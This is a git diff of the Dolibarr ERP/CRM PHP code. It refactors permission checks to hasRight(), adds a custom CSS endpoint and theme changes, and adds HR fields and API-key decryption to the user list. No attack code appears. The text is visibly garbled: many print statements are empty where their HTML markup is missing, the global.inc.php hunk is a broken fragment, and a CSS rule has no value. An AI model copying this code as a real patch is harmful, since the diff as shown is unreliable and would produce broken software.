a/htdocs/societe/canvas/individual/tpl/card_view.tpl.php +++ b/htdocs/societe/canvas/individual/tpl/card_view.tpl.php @@ -210,7 +210,7 @@ if ($this->control->tpl['action_delete']) { $filedir = $conf->societe->multidir_output[$this->control->tpl['entity']].'/'.$socid; $urlsource = $_SERVER["PHP_SELF"]."?socid=".$socid; $genallowed = $user->hasRight('societe', 'lire'); -$delallowed = $user->rights->societe->creer; +$delallowed = $user->hasRight('societe', 'creer'); print $formfile->showdocuments('company', $socid, $filedir, $urlsource, $genallowed, $delallowed, '', 0, 0, 0, 28, 0, '', 0, '', $objcanvas->control->object->default_lang); ?> diff --git a/htdocs/societe/card.php b/htdocs/societe/card.php index aea4bb916a5..cc901a8bbe2 100644 --- a/htdocs/societe/card.php +++ b/htdocs/societe/card.php @@ -93,9 +93,14 @@ $cancel = GETPOST('cancel', 'alpha'); $backtopage = GETPOST('backtopage', 'alpha'); $backtopageforcancel = GETPOST('backtopageforcancel', 'alpha'); $backtopagejsfields = GETPOST('backtopagejsfields', 'alpha'); -$dol_openinpopup = GETPOST('dol_openinpopup', 'aZ09'); $confirm = GETPOST('confirm', 'alpha'); +$dol_openinpopup = ''; +if (!empty($backtopagejsfields)) { + $tmpbacktopagejsfields = explode(':', $backtopagejsfields); + $dol_openinpopup = $tmpbacktopagejsfields[0]; +} + $socid = GETPOST('socid', 'int') ?GETPOST('socid', 'int') : GETPOST('id', 'int'); if ($user->socid) { $socid = $user->socid; @@ -138,10 +143,10 @@ if (!empty($canvas)) { // Permissions $permissiontoread = $user->hasRight('societe', 'lire'); -$permissiontoadd = $user->rights->societe->creer; // Used by the include of actions_addupdatedelete.inc.php and actions_lineupdown.inc.php +$permissiontoadd = $user->hasRight('societe', 'creer'); // Used by the include of actions_addupdatedelete.inc.php and actions_lineupdown.inc.php $permissiontodelete = $user->hasRight('societe', 'supprimer') || ($permissiontoadd && isset($object->status) && $object->status == 0); -$permissionnote = $user->rights->societe->creer; // Used by the include of actions_setnotes.inc.php -$permissiondellink = $user->rights->societe->creer; // Used by the include of actions_dellink.inc.php +$permissionnote = $user->hasRight('societe', 'creer'); // Used by the include of actions_setnotes.inc.php +$permissiondellink = $user->hasRight('societe', 'creer'); // Used by the include of actions_dellink.inc.php $upload_dir = $conf->societe->multidir_output[isset($object->entity) ? $object->entity : 1]; // Security check @@ -570,11 +575,11 @@ if (empty($reshook)) { if (!empty($object->email) && !isValidEMail($object->email)) { $langs->load("errors"); $error++; - setEventMessages('', $langs->trans("ErrorBadEMail", $object->email), 'errors'); + setEventMessages($langs->trans("ErrorBadEMail", $object->email), null, 'errors'); } if (!empty($object->url) && !isValidUrl($object->url)) { $langs->load("errors"); - setEventMessages('', $langs->trans("ErrorBadUrl", $object->url), 'errors'); + setEventMessages($langs->trans("ErrorBadUrl", $object->url), null, 'errors'); } if (!empty($object->webservices_url)) { //Check if has transport, without any the soap client will give error @@ -612,7 +617,7 @@ if (empty($reshook)) { $result = $object->create($user); - if (empty($error) && !empty($conf->mailing->enabled) && !empty($object->email) && $object->no_email == 1) { + if (empty($error) && isModEnabled('mailing') && !empty($object->email) && $object->no_email == 1) { // Add mass emailing flag into table mailing_unsubscribe $result = $object->setNoEmail($object->no_email); if ($result < 0) { @@ -713,9 +718,6 @@ if (empty($reshook)) { if ($backtopagejsfields) { llxHeader('', '', ''); - $tmpbacktopagejsfields = explode(':', $backtopagejsfields); - $dol_openinpopup = $tmpbacktopagejsfields[0]; - $retstring = ''; print "Transaction status registered, you can close this"; diff --git a/htdocs/theme/common/flags/xk.png b/htdocs/theme/common/flags/xk.png new file mode 100644 index 00000000000..d90e8277ac9 Binary files /dev/null and b/htdocs/theme/common/flags/xk.png differ diff --git a/htdocs/theme/custom.css.php b/htdocs/theme/custom.css.php new file mode 100644 index 00000000000..8caf1696f2f --- /dev/null +++ b/htdocs/theme/custom.css.php @@ -0,0 +1,35 @@ + + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU Affero General Public License as + * published by the Free Software Foundation, either version 3 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Affero General Public License for more details. + * + * You should have received a copy of the GNU Affero General Public License + * along with this program. If not, see . + */ + +require_once __DIR__.'/../main.inc.php'; // __DIR__ allow this script to be included in custom themes +require_once DOL_DOCUMENT_ROOT.'/core/lib/functions2.lib.php'; + +// Define css type +top_httphead('text/css'); +// Important: Following code is to avoid page request by browser and PHP CPU at each Dolibarr page access. +if (empty($dolibarr_nocache)) { + header('Cache-Control: max-age=10800, public, must-revalidate'); +} else { + header('Cache-Control: no-cache'); +} + + +print '// Here, the content of the common custom CSS defined into Home - Setup - Display - CSS'."\n"; +print getDolGlobalString('MAIN_IHM_CUSTOM_CSS'); diff --git a/htdocs/theme/eldy/badges.inc.php b/htdocs/theme/eldy/badges.inc.php index 1e6dfb54dbc..aae4e50fb29 100644 --- a/htdocs/theme/eldy/badges.inc.php +++ b/htdocs/theme/eldy/badges.inc.php @@ -246,7 +246,7 @@ function _createStatusBadgeCss($statusName, $statusVarNamePrefix = '', $commentL if (in_array((string) $statusName, $TBadgeBorderOnly)) { $thisBadgeTextColor = '#212529'; - $thisBadgeBackgroundColor = "#fff"; + $thisBadgeBackgroundColor = ""; } if (in_array((string) $statusName, array('0', '5', '9'))) { diff --git a/htdocs/theme/eldy/btn.inc.php b/htdocs/theme/eldy/btn.inc.php index b29c55bd02d..28ae22e9696 100644 --- a/htdocs/theme/eldy/btn.inc.php +++ b/htdocs/theme/eldy/btn.inc.php @@ -18,7 +18,9 @@ if (!defined('ISLOADEDBYSTEELSHEET')) { if (!empty($conf->global->THEME_DARKMODEENABLED)) { print "/* For dark mode */\n"; if ($conf->global->THEME_DARKMODEENABLED != 2) { - print "@media (prefers-color-scheme: dark) {"; + print "@media (prefers-color-scheme: dark) {"; // To test, click on the 3 dots menu, then Other options then Display then emulate prefer-color-schemes + } else { + print "@media not print {"; } print " :root { @@ -32,9 +34,7 @@ if (!empty($conf->global->THEME_DARKMODEENABLED)) { --textbutaction: rgb(255,255,255); }\n"; - if ($conf->global->THEME_DARKMODEENABLED != 2) { - print "}"; - } + print "}"; } ?> diff --git a/htdocs/theme/eldy/dropdown.inc.php b/htdocs/theme/eldy/dropdown.inc.php index b3f91901575..034b9974c23 100644 --- a/htdocs/theme/eldy/dropdown.inc.php +++ b/htdocs/theme/eldy/dropdown.inc.php @@ -501,6 +501,43 @@ div.quickaddblock:focus { background: ; } + +/* for the dropdown on action buttons */ +dropdown-holder { + position: relative; + display: inline-block; +} + +.dropdown-content { + display: none; + position: absolute; + z-index: 1; + width: 300px; + right:10px; /* will be set with js */ + background: #fff; + border: 1px solid #bbb; + text-align: +} + +.dropdown-content a { + margin-right: auto !important; + margin-left: auto !important; +} +.dropdown-content .butAction { + background: none; + color: #000 !important; +} +.dropdown-content .butAction:hover { + box-shadow: none; + text-decoration: underline; +} + +.dropdown-holder.open .dropdown-content { + display: block; +} + + + /* smartphone */ @media only screen and (max-width: 767px) { diff --git a/htdocs/theme/eldy/global.inc.php b/htdocs/theme/eldy/global.inc.php index 01f8b6329cc..310d2899a37 100644 --- a/htdocs/theme/eldy/global.inc.php +++ b/htdocs/theme/eldy/global.inc.php @@ -1,6 +1,9 @@ - +} + +?> /* '; print '
      '; $parameters = array(); diff --git a/htdocs/user/hierarchy.php b/htdocs/user/hierarchy.php index 44ab46193d9..ce18b9d5011 100644 --- a/htdocs/user/hierarchy.php +++ b/htdocs/user/hierarchy.php @@ -42,6 +42,9 @@ if ($user->socid > 0) { $optioncss = GETPOST('optioncss', 'alpha'); $contextpage = GETPOST('contextpage', 'aZ') ? GETPOST('contextpage', 'aZ') : 'userlist'; // To manage different context of search $mode = GETPOST("mode", 'alpha'); +if (empty($mode)) { + $mode = 'hierarchy'; +} $sortfield = GETPOST('sortfield', 'aZ09comma'); $sortorder = GETPOST('sortorder', 'aZ09comma'); diff --git a/htdocs/user/info.php b/htdocs/user/info.php index dfb1fe23d0b..7804579edd5 100644 --- a/htdocs/user/info.php +++ b/htdocs/user/info.php @@ -51,7 +51,7 @@ $feature2 = (($socid && $user->rights->user->self->creer) ? '' : 'user'); $result = restrictedArea($user, 'user', $id, 'user&user', $feature2); // If user is not user that read and no permission to read other users, we stop -if (($object->id != $user->id) && (!$user->rights->user->user->lire)) { +if (($object->id != $user->id) && empty($user->rights->user->user->lire)) { accessforbidden(); } @@ -80,10 +80,13 @@ if ($user->rights->user->user->lire || $user->admin) { $linkback = ''.$langs->trans("BackToList").''; } -$morehtmlref = ''; +$morehtmlref = ''; $morehtmlref .= img_picto($langs->trans("Download").' '.$langs->trans("VCard"), 'vcard.png', 'class="valignmiddle marginleftonly paddingrightonly"'); $morehtmlref .= ''; +$urltovirtualcard = '/user/virtualcard.php?id='.((int) $object->id); +$morehtmlref .= dolButtonToOpenUrlInDialogPopup('publicvirtualcard', $langs->trans("PublicVirtualCardUrl").' - '.$object->getFullName($langs), img_picto($langs->trans("PublicVirtualCardUrl"), 'card', 'class="valignmiddle marginleftonly paddingrightonly"'), $urltovirtualcard, '', 'nohover'); + dol_banner_tab($object, 'id', $linkback, $user->rights->user->user->lire || $user->admin, 'rowid', 'ref', $morehtmlref); diff --git a/htdocs/user/list.php b/htdocs/user/list.php index d472ae3e9f4..79d442830f3 100644 --- a/htdocs/user/list.php +++ b/htdocs/user/list.php @@ -44,7 +44,7 @@ $toselect = GETPOST('toselect', 'array'); // Array of ids of elements selected $contextpage = GETPOST('contextpage', 'aZ') ? GETPOST('contextpage', 'aZ') : 'userlist'; // To manage different context of search $backtopage = GETPOST('backtopage', 'alpha'); // Go back to a dedicated page $optioncss = GETPOST('optioncss', 'aZ'); // Option for the css output (always '' except when 'print') -$mode = GETPOST("mode", 'alpha'); +$mode = GETPOST("mode", 'aZ'); // Security check (for external users) $socid = 0; @@ -84,7 +84,7 @@ if (!$sortorder) { } // Initialize array of search criterias -$search_all = GETPOST('search_all', 'alphanohtml') ? GETPOST('search_all', 'alphanohtml') : GETPOST('sall', 'alphanohtml'); +$search_all = GETPOST('search_all', 'alphanohtml'); $search = array(); foreach ($object->fields as $key => $val) { if (GETPOST('search_'.$key, 'alpha') !== '') { @@ -116,6 +116,9 @@ if (!empty($conf->api->enabled)) { $fieldstosearchall['u.api_key'] = "ApiKey"; } +$permissiontoreadhr = $user->hasRight('hrm', 'read_personal_information', 'read') || $user->hasRight('hrm', 'write_personal_information', 'write'); +$permissiontowritehr = $user->hasRight('hrm', 'write_personal_information', 'write'); + // Definition of fields for list $arrayfields = array( 'u.login'=>array('label'=>"Login", 'checked'=>1, 'position'=>10), @@ -124,14 +127,17 @@ $arrayfields = array( 'u.entity'=>array('label'=>"Entity", 'checked'=>1, 'position'=>50, 'enabled'=>(isModEnabled('multicompany') && empty($conf->global->MULTICOMPANY_TRANSVERSE_MODE))), 'u.gender'=>array('label'=>"Gender", 'checked'=>0, 'position'=>22), 'u.employee'=>array('label'=>"Employee", 'checked'=>($contextpage == 'employeelist' ? 1 : 0), 'position'=>25), - 'u.fk_user'=>array('label'=>"HierarchicalResponsible", 'checked'=>1, 'position'=>27), + 'u.fk_user'=>array('label'=>"HierarchicalResponsible", 'checked'=>1, 'position'=>27, 'csslist'=>'maxwidth150'), 'u.accountancy_code'=>array('label'=>"AccountancyCode", 'checked'=>0, 'position'=>30), 'u.office_phone'=>array('label'=>"PhonePro", 'checked'=>1, 'position'=>31), 'u.user_mobile'=>array('label'=>"PhoneMobile", 'checked'=>1, 'position'=>32), 'u.email'=>array('label'=>"EMail", 'checked'=>1, 'position'=>35), 'u.api_key'=>array('label'=>"ApiKey", 'checked'=>0, 'position'=>40, "enabled"=>(!empty($conf->api->enabled) && $user->admin)), 'u.fk_soc'=>array('label'=>"Company", 'checked'=>($contextpage == 'employeelist' ? 0 : 1), 'position'=>45), - 'u.salary'=>array('label'=>"Salary", 'checked'=>1, 'position'=>80, 'enabled'=>(!empty($conf->salaries->enabled) && $user->hasRight("salaries", "readall"))), + 'u.ref_employee'=>array('label'=>"RefEmployee", 'checked'=>-1, 'position'=>60, 'enabled'=>(isModEnabled('hrm') && $permissiontoreadhr)), + 'u.national_registration_number'=>array('label'=>"NationalRegistrationNumber", 'checked'=>-1, 'position'=>61, 'enabled'=>(isModEnabled('hrm') && $permissiontoreadhr)), + 'u.job'=>array('label'=>"PostOrFunction", 'checked'=>-1, 'position'=>50), + 'u.salary'=>array('label'=>"Salary", 'checked'=>-1, 'position'=>80, 'enabled'=>(isModEnabled('salaries') && $user->hasRight("salaries", "readall")), 'isameasure'=>1), 'u.datelastlogin'=>array('label'=>"LastConnexion", 'checked'=>1, 'position'=>100), 'u.datepreviouslogin'=>array('label'=>"PreviousConnexion", 'checked'=>0, 'position'=>110), 'u.datec'=>array('label'=>"DateCreation", 'checked'=>0, 'position'=>500), @@ -159,6 +165,7 @@ $search_email = GETPOST('search_email', 'alpha'); $search_api_key = GETPOST('search_api_key', 'alphanohtml'); $search_statut = GETPOST('search_statut', 'intcomma'); $search_thirdparty = GETPOST('search_thirdparty', 'alpha'); +$search_job = GETPOST('search_job', 'alpha'); $search_warehouse = GETPOST('search_warehouse', 'alpha'); $search_supervisor = GETPOST('search_supervisor', 'intcomma'); $search_categ = GETPOST("search_categ", 'int'); @@ -250,6 +257,7 @@ if (empty($reshook)) { $search_email = ""; $search_statut = ""; $search_thirdparty = ""; + $search_job = ""; $search_warehouse = ""; $search_supervisor = ""; $search_api_key = ""; @@ -357,7 +365,8 @@ $morehtmlright = ""; // Build and execute select // -------------------------------------------------------------------- $sql = "SELECT DISTINCT u.rowid, u.lastname, u.firstname, u.admin, u.fk_soc, u.login, u.office_phone, u.user_mobile, u.email, u.api_key, u.accountancy_code, u.gender, u.employee, u.photo,"; -$sql .= " u.salary, u.datelastlogin, u.datepreviouslogin,"; +$sql .= " u.fk_user,"; +$sql .= " u.ref_employee, u.national_registration_number, u.job, u.salary, u.datelastlogin, u.datepreviouslogin,"; $sql .= " u.ldap_sid, u.statut as status, u.entity,"; $sql .= " u.tms as date_update, u.datec as date_creation,"; $sql .= " u2.rowid as id2, u2.login as login2, u2.firstname as firstname2, u2.lastname as lastname2, u2.admin as admin2, u2.fk_soc as fk_soc2, u2.office_phone as ofice_phone2, u2.user_mobile as user_mobile2, u2.email as email2, u2.gender as gender2, u2.photo as photo2, u2.entity as entity2, u2.statut as status2,"; @@ -371,8 +380,11 @@ if (!empty($extrafields->attributes[$object->table_element]['label'])) { // Add fields from hooks $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object); // Note that $action and $object may have been modified by hook -$sql .= preg_replace('/^,/', '', $hookmanager->resPrint); +$sql .= $hookmanager->resPrint; $sql = preg_replace('/,\s*$/', '', $sql); + +$sqlfields = $sql; // $sql fields to remove for count total + $sql .= " FROM ".MAIN_DB_PREFIX.$object->table_element." as u"; if (isset($extrafields->attributes[$object->table_element]['label']) && is_array($extrafields->attributes[$object->table_element]['label']) && count($extrafields->attributes[$object->table_element]['label'])) { $sql .= " LEFT JOIN ".MAIN_DB_PREFIX.$object->table_element."_extrafields as ef on (u.rowid = ef.fk_object)"; @@ -430,6 +442,9 @@ if ($search_email != '') { if ($search_api_key != '') { $sql .= natural_search("u.api_key", $search_api_key); } +if ($search_job != '') { + $sql .= natural_search(array('u.job'), $search_job); +} if ($search_statut != '' && $search_statut >= 0) { $sql .= " AND u.statut IN (".$db->sanitize($search_statut).")"; } @@ -481,21 +496,9 @@ $sql .= $hookmanager->resPrint; // Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { - /* This old and fast method to get and count full list returns all record so use a high amount of memory. - $resql = $db->query($sql); - $nbtotalofrecords = $db->num_rows($resql); - */ - /* The slow method does not consume memory on mysql (not tested on pgsql) */ - /*$resql = $db->query($sql, 0, 'auto', 1); - while ($db->fetch_object($resql)) { - if (empty($nbtotalofrecords)) { - $nbtotalofrecords = 1; // We can't make +1 because init value is '' - } else { - $nbtotalofrecords++; - } - }*/ /* The fast and low memory method to get and count full list converts the sql into a sql count */ - $sqlforcount = preg_replace('/^SELECT[a-zA-Z0-9\._\s\(\),=<>\:\-\']+\sFROM/Ui', 'SELECT COUNT(*) as nbtotalofrecords FROM', $sql); + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); $resql = $db->query($sqlforcount); if ($resql) { $objforcount = $db->fetch_object($resql); @@ -504,7 +507,7 @@ if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { dol_print_error($db); } - if (($page * $limit) > $nbtotalofrecords) { // if total of record found is smaller than page * limit, goto and load page 0 + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller then paging size (filtering), goto and load page 0 $page = 0; $offset = 0; } @@ -551,7 +554,7 @@ if ($limit > 0 && $limit != $conf->liste_limit) { $param .= '&limit='.urlencode($limit); } if ($sall != '') { - $param .= '&sall='.urlencode($sall); + $param .= '&search_all='.urlencode($sall); } if ($search_user != '') { $param .= "&search_user=".urlencode($search_user); @@ -635,6 +638,7 @@ print ''; print ''; print ''; print ''; +print ''; print ''; $url = DOL_URL_ROOT.'/user/card.php?action=create'.($contextpage == 'employeelist' ? '&search_employee=1' : '').'&leftmenu='; @@ -726,10 +730,10 @@ print ''; +print ''; // Action column -if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { - print ''; @@ -757,7 +761,7 @@ if (!empty($arrayfields['u.employee']['checked'])) { // Supervisor if (!empty($arrayfields['u.fk_user']['checked'])) { print ''; } if (!empty($arrayfields['u.accountancy_code']['checked'])) { @@ -781,6 +785,15 @@ if (!empty($arrayfields['u.fk_soc']['checked'])) { if (!empty($arrayfields['u.entity']['checked'])) { print ''; } +if (!empty($arrayfields['u.ref_employee']['checked'])) { + print ''; +} +if (!empty($arrayfields['u.national_registration_number']['checked'])) { + print ''; +} +if (!empty($arrayfields['u.job']['checked'])) { + print ''; +} if (!empty($arrayfields['u.salary']['checked'])) { print ''; } @@ -808,12 +821,12 @@ if (!empty($arrayfields['u.tms']['checked'])) { } if (!empty($arrayfields['u.statut']['checked'])) { // Status - print ''; } // Action column -if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { print ''; -if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { print getTitleFieldOfList(($mode != 'kanban' ? $selectedfields : ''), 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; $totalarray['nbfield']++; } if (!empty($arrayfields['u.login']['checked'])) { - print_liste_field_titre("Login", $_SERVER['PHP_SELF'], "u.login", $param, "", "", $sortfield, $sortorder); + print_liste_field_titre($arrayfields['u.login']['label'], $_SERVER['PHP_SELF'], "u.login", $param, "", "", $sortfield, $sortorder); $totalarray['nbfield']++; } if (!empty($arrayfields['u.lastname']['checked'])) { @@ -880,7 +893,19 @@ if (!empty($arrayfields['u.fk_soc']['checked'])) { $totalarray['nbfield']++; } if (!empty($arrayfields['u.entity']['checked'])) { - print_liste_field_titre("Entity", $_SERVER['PHP_SELF'], "u.entity", $param, "", "", $sortfield, $sortorder); + print_liste_field_titre($arrayfields['u.entity']['label'], $_SERVER['PHP_SELF'], "u.entity", $param, "", "", $sortfield, $sortorder); + $totalarray['nbfield']++; +} +if (!empty($arrayfields['u.job']['checked'])) { + print_liste_field_titre($arrayfields['u.job']['label'], $_SERVER['PHP_SELF'], "u.job", $param, "", "", $sortfield, $sortorder); + $totalarray['nbfield']++; +} +if (!empty($arrayfields['u.ref_employee']['checked'])) { + print_liste_field_titre("RefEmployee", $_SERVER['PHP_SELF'], "u.ref_employee", $param, "", "", $sortfield, $sortorder); + $totalarray['nbfield']++; +} +if (!empty($arrayfields['u.national_registration_number']['checked'])) { + print_liste_field_titre("NationalRegistrationNumber", $_SERVER['PHP_SELF'], "u.national_registration_number", $param, "", "", $sortfield, $sortorder); $totalarray['nbfield']++; } if (!empty($arrayfields['u.salary']['checked'])) { @@ -914,7 +939,7 @@ if (!empty($arrayfields['u.statut']['checked'])) { $totalarray['nbfield']++; } // Action column -if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { print getTitleFieldOfList(($mode != 'kanban' ? $selectedfields : ''), 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; $totalarray['nbfield']++; } @@ -936,6 +961,7 @@ if (isset($extrafields->attributes[$object->table_element]['computed']) && is_ar // -------------------------------------------------------------------- $i = 0; $savnbfield = $totalarray['nbfield']; +$totalarray = array('val'=>array('u.salary'=>0)); $totalarray['nbfield'] = 0; $imaxinloop = ($limit ? min($num, $limit) : $num); while ($i < $imaxinloop) { @@ -944,7 +970,9 @@ while ($i < $imaxinloop) { break; // Should not happen } - if (empty($obj->country_code)) $obj->country_code = ''; // TODO Add join in select with country table to get country_code + if (empty($obj->country_code)) { + $obj->country_code = ''; // TODO Add join in select with country table to get country_code + } // Store properties in $object $object->setVarsFromFetchObj($obj); @@ -957,6 +985,7 @@ while ($i < $imaxinloop) { $object->status = $obj->status; $object->office_phone = $obj->office_phone; $object->user_mobile = $obj->user_mobile; + $object->job = $obj->job; $object->email = $obj->email; $object->gender = $obj->gender; $object->socid = $obj->fk_soc; @@ -981,7 +1010,7 @@ while ($i < $imaxinloop) { if ($mode == 'kanban') { if ($i == 0) { print ''; // Action column - if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { print ''; + if (!$i) { + $totalarray['nbfield']++; + } } // Login if (!empty($arrayfields['u.login']['checked'])) { print ''; if (!$i) { $totalarray['nbfield']++; @@ -1066,8 +1098,7 @@ while ($i < $imaxinloop) { // Supervisor if (!empty($arrayfields['u.fk_user']['checked'])) { - // Resp - print ''; if (!$i) { @@ -1122,10 +1153,13 @@ while ($i < $imaxinloop) { } } if (!empty($arrayfields['u.api_key']['checked'])) { - print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // National number + if (!empty($arrayfields['u.national_registration_number']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Job position + if (!empty($arrayfields['u.job']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Salary if (!empty($arrayfields['u.salary']['checked'])) { print ''; - } - if (!$i) { - $totalarray['nbfield']++; + if (!$i) { + $totalarray['nbfield']++; + } } print ''."\n"; @@ -1271,7 +1343,7 @@ if ($num == 0) { $db->free($resql); $parameters = array('arrayfields'=>$arrayfields, 'sql'=>$sql); -$reshook = $hookmanager->executeHooks('printFieldListFooter', $parameters, $object); // Note that $action and $object may have been modified by hook +$reshook = $hookmanager->executeHooks('printFieldListFooter', $parameters, $object, $action); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; print '
      '; +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; $searchpicto = $form->showFilterButtons('left'); print $searchpicto; print ''; - print $form->select_dolusers($search_supervisor, 'search_supervisor', 1, array(), 0, '', 0, 0, 0, 0, '', 0, '', 'maxwidth150'); + print $form->select_dolusers($search_supervisor, 'search_supervisor', 1, array(), 0, '', 0, 0, 0, 0, '', 0, '', 'maxwidth125'); print ''; - print $form->selectarray('search_statut', array('-1'=>'', '0'=>$langs->trans('Disabled'), '1'=>$langs->trans('Enabled')), $search_statut, 0, 0, 0, '', 0, 0, 0, '', 'minwidth75imp'); + print ''; + print $form->selectarray('search_statut', array('-1'=>'', '0'=>$langs->trans('Disabled'), '1'=>$langs->trans('Enabled')), $search_statut, 0, 0, 0, '', 0, 0, 0, '', 'search_status width100 onrightofpage'); print ''; $searchpicto = $form->showFilterButtons(); print $searchpicto; @@ -827,12 +840,12 @@ $totalarray['nbfield'] = 0; // Fields title label // -------------------------------------------------------------------- print '
      '; - print '
      '; + print '
      '; } // Output Kanban @@ -995,7 +1024,7 @@ while ($i < $imaxinloop) { $j = 0; print '
      '; if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined $selected = 0; @@ -1005,16 +1034,19 @@ while ($i < $imaxinloop) { print ''; } print ''; - print $li; if (isModEnabled('multicompany') && $obj->admin && !$obj->entity) { - print img_picto($langs->trans("SuperAdministrator"), 'redstar', 'class="valignmiddle paddingleft"'); + print img_picto($langs->trans("SuperAdministrator"), 'redstar', 'class="valignmiddle paddingright"'); } elseif ($obj->admin) { - print img_picto($langs->trans("Administrator"), 'star', 'class="valignmiddle paddingleft"'); + print img_picto($langs->trans("Administrator"), 'star', 'class="valignmiddle paddingright"'); } + print $li; print ''; + print ''; if ($obj->login2) { $user2->id = $obj->id2; $user2->login = $obj->login2; @@ -1082,12 +1113,12 @@ while ($i < $imaxinloop) { $user2->socid = $obj->fk_soc2; $user2->statut = $obj->status2; $user2->status = $obj->status2; - print $user2->getNomUrl(-1, '', 0, 0, 24, 0, '', '', 1); if (isModEnabled('multicompany') && $obj->admin2 && !$obj->entity2) { - print img_picto($langs->trans("SuperAdministrator"), 'redstar', 'class="valignmiddle paddingleft"'); + print img_picto($langs->trans("SuperAdministrator"), 'redstar', 'class="valignmiddle paddingright"'); } elseif ($obj->admin2) { - print img_picto($langs->trans("Administrator"), 'star', 'class="valignmiddle paddingleft"'); + print img_picto($langs->trans("Administrator"), 'star', 'class="valignmiddle paddingright"'); } + print $user2->getNomUrl(-1, '', 0, 0, 24, 0, '', '', 1); } print ''; - if ($obj->api_key) { + $api_key = dolDecrypt($obj->api_key); + print ''; + if ($api_key) { if ($canreadsecretapi) { - print dol_escape_htmltag($obj->api_key); + print ''; + print showValueWithClipboardCPButton($object->api_key, 1, dol_trunc($api_key, 3)); // TODO Add an option to also reveal the hash, not only copy paste + print ''; } else { print ''.$langs->trans("Hidden").''; } @@ -1169,6 +1203,34 @@ while ($i < $imaxinloop) { } } + // Ref employee + if (!empty($arrayfields['u.ref_employee']['checked'])) { + print ''; + print dol_escape_htmltag($obj->ref_employee); + print ''; + print dol_escape_htmltag($obj->national_registration_number); + print ''; + print dol_escape_htmltag($obj->job); + print ''; @@ -1183,6 +1245,16 @@ while ($i < $imaxinloop) { if (!$i) { $totalarray['nbfield']++; } + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'u.salary'; + } + if (!isset($totalarray['val'])) { + $totalarray['val'] = array(); + } + if (!isset($totalarray['val']['u.salary'])) { + $totalarray['val']['u.salary'] = 0; + } + $totalarray['val']['u.salary'] += $obj->salary; } // Date last login @@ -1232,7 +1304,7 @@ while ($i < $imaxinloop) { } } // Action column - if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { print ''; if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined $selected = 0; @@ -1242,9 +1314,9 @@ while ($i < $imaxinloop) { print ''; } print '
      '."\n"; diff --git a/htdocs/user/note.php b/htdocs/user/note.php index 4b64a15d217..b3ee9398374 100644 --- a/htdocs/user/note.php +++ b/htdocs/user/note.php @@ -94,10 +94,13 @@ if ($id) { $linkback = ''.$langs->trans("BackToList").''; } - $morehtmlref = ''; + $morehtmlref = ''; $morehtmlref .= img_picto($langs->trans("Download").' '.$langs->trans("VCard"), 'vcard.png', 'class="valignmiddle marginleftonly paddingrightonly"'); $morehtmlref .= ''; + $urltovirtualcard = '/user/virtualcard.php?id='.((int) $object->id); + $morehtmlref .= dolButtonToOpenUrlInDialogPopup('publicvirtualcard', $langs->trans("PublicVirtualCardUrl").' - '.$object->getFullName($langs), img_picto($langs->trans("PublicVirtualCardUrl"), 'card', 'class="valignmiddle marginleftonly paddingrightonly"'), $urltovirtualcard, '', 'nohover'); + dol_banner_tab($object, 'id', $linkback, $user->hasRight("user", "user", "read") || $user->admin, 'rowid', 'ref', $morehtmlref); print '
      '; diff --git a/htdocs/user/notify/card.php b/htdocs/user/notify/card.php index e20d7be3d9a..0088b30cbf8 100644 --- a/htdocs/user/notify/card.php +++ b/htdocs/user/notify/card.php @@ -155,10 +155,13 @@ if ($result > 0) { $linkback = ''.$langs->trans("BackToList").''; - $morehtmlref = ''; + $morehtmlref = ''; $morehtmlref .= img_picto($langs->trans("Download").' '.$langs->trans("VCard"), 'vcard.png', 'class="valignmiddle marginleftonly paddingrightonly"'); $morehtmlref .= ''; + $urltovirtualcard = '/user/virtualcard.php?id='.((int) $object->id); + $morehtmlref .= dolButtonToOpenUrlInDialogPopup('publicvirtualcard', $langs->trans("PublicVirtualCardUrl").' - '.$object->getFullName($langs), img_picto($langs->trans("PublicVirtualCardUrl"), 'card', 'class="valignmiddle marginleftonly paddingrightonly"'), $urltovirtualcard, '', 'nohover'); + dol_banner_tab($object, 'id', $linkback, $user->rights->user->user->lire || $user->admin, 'rowid', 'ref', $morehtmlref, '', 0, '', '', 0, ''); print '
